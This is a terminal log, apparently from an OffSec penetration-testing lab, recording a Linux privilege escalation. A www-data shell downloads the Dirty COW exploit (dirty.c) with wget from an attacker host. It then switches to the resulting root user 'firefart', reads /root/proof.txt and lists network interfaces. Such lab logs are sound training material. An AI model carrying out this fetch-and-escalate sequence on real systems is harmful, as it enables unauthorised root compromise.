Priv Esc

www-data@offsecsrv:/home$ sudo -V | grep version
sudo -V | grep version
Sudo version 1.7.2p1

www-data@offsecsrv:/dev/shm$ wget 192.168.45.239/dirty.c
--2024-10-16 11:44:48--  http://192.168.45.239/dirty.c
Connecting to 192.168.45.239:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4815 (4.7K) [text/x-csrc]
Saving to: `dirty.c'

100%[======================================>] 4,815       --.-K/s   in 0.04s

2024-10-16 11:44:48 (126 KB/s) - `dirty.c' saved [4815/4815]

www-data@offsecsrv:/dev/shm$ su firefart
Password:
firefart@offsecsrv:/dev/shm# id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@offsecsrv:/dev/shm# cat /root/proof.txt
7c750eb325276f62f665fc075cf39f99
firefart@offsecsrv:/dev/shm# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
3: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
    link/ether 00:50:56:bf:90:85 brd ff:ff:ff:ff:ff:ff
    inet 192.168.246.41/24 brd 192.168.246.255 scope global eth0
    inet6 fe80::250:56ff:febf:9085/64 scope link
       valid_lft forever preferred_lft forever